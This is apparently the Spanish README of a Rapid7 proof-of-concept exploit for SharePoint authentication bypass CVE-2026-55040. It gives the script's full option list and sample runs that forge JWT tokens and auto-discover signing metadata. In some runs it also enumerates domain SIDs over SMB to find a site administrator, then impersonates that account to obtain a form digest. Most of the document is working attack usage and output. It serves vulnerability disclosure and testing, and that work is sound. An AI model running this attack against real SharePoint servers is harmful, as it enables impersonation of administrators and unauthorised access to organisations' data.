sfewer-r7/cve-2026-55040Exploit de prueba de concepto para Microsoft SharePoint CVE-2026-55040 que forja tokens JWT, omite la autenticación, descubre automáticamente metadatos y se hace pasar por los administradores del sitio mediante enumeración de SID.
CVE-2026-55040.py es un script de prueba de concepto para explotar la vulnerabilidad de omisión de autenticación de SharePoint, CVE-2026-55040.
Para un análisis técnico completo, consulte nuestro Análisis de Rapid7.
$ python CVE-2026-55040.py --help
usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
[--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
[--domain-ip DOMAIN_IP] [--http]
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
options:
-h, --help show this help message and exit
--target TARGET Target IP address (auto-discovers all params)
--host HOST SharePoint hostname (auto-discovered)
--x5t X5T STS signing cert x5t (auto-discovered from metadata)
--realm REALM SharePoint realm GUID (auto-discovered from metadata)
--sid SID Windows SID for identity (auto-discovered via LSARPC)
--upn UPN UPN for identity, e.g. [email protected] (alternative to --sid, no SMB needed)
--auto-upn Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
--username USERNAME Username for --auto-upn (default: administrator)
--rid RID Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
site admin
--max-rid MAX_RID Max RID to try during auto-SID iteration (default: 10000)
--port PORT Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
--domain-ip DOMAIN_IP
Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
a different system than the SharePoint server
--http Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
manually)
Al proporcionar únicamente un nombre de host de destino mediante --host, el JWT falsificado utilizará una identidad de nomenclatura AccessToken para el usuario NT AUTHORITY\LOCAL SERVICE.
Nota: Aunque la omisión de autenticación tendrá éxito, los recursos a los que puede acceder mediante la identidad AccessToken son limitados. Por ejemplo, no puede acceder a ciertos endpoints como /_api/contextinfo (que se muestra a continuación durante la operación de obtención del digest de formulario), pero sí puede acceder a otros recursos protegidos, por ejemplo /_vti_bin/sites.asmx. Dependiendo de la siguiente vulnerabilidad con la que se encadene la omisión de autenticación, el uso de una identidad de nomenclatura AccessToken puede ser viable.
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] No --domain-ip/--sid/--upn provided; using local service identity
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[2] Forging JWT token...
[+] Token forged (1025 bytes)
[3] Obtaining form digest...
[-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}
Al proporcionar un nombre de host de destino mediante --host y la --domain-ip de un controlador de dominio correspondiente, el JWT falsificado utilizará una identidad de nomenclatura urn:office:idp:activedirectory para un usuario de Identificador de Seguridad de Windows (SID). El SID de este usuario se autodetecta automáticamente para encontrar un administrador del sitio.
Si conoce un SID de antemano, puede omitir la --domain-ip y pasar el SID conocido mediante --sid.
$ python3 -m pipx install impacket
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.86.11)...
[*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
[*] DC differs from target; will discover SharePoint hostname separately
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
[-] RID 500: no valid user
[-] RID 1000: no valid user
[-] RID 1050: no valid user
[-] RID 1100: no valid user
[-] RID 1150: no valid user
[-] RID 1200: no valid user
[-] RID 1250: no valid user
[-] RID 1300: no valid user
[-] RID 1350: no valid user
[-] RID 1400: no valid user
[-] RID 1450: no valid user
[-] RID 1500: no valid user
[-] RID 1550: no valid user
[-] RID 1600: no valid user
[+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
[+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
[+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system
[2] Forging JWT token...
[+] Token forged (1040 bytes)
[3] Obtaining form digest...
[+] Digest obtained.
Al proporcionar un nombre de host de destino mediante --host y el --upn de un usuario conocido del sitio, el JWT falsificado utilizará una identidad de nomenclatura urn:office:idp:activedirectory para el Nombre Principal de Usuario (UPN) indicado.
$ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn [email protected]
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
[*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G
[2] Forging JWT token...
[+] Token forged (1047 bytes)
[3] Obtaining form digest...
[+] Digest obtained.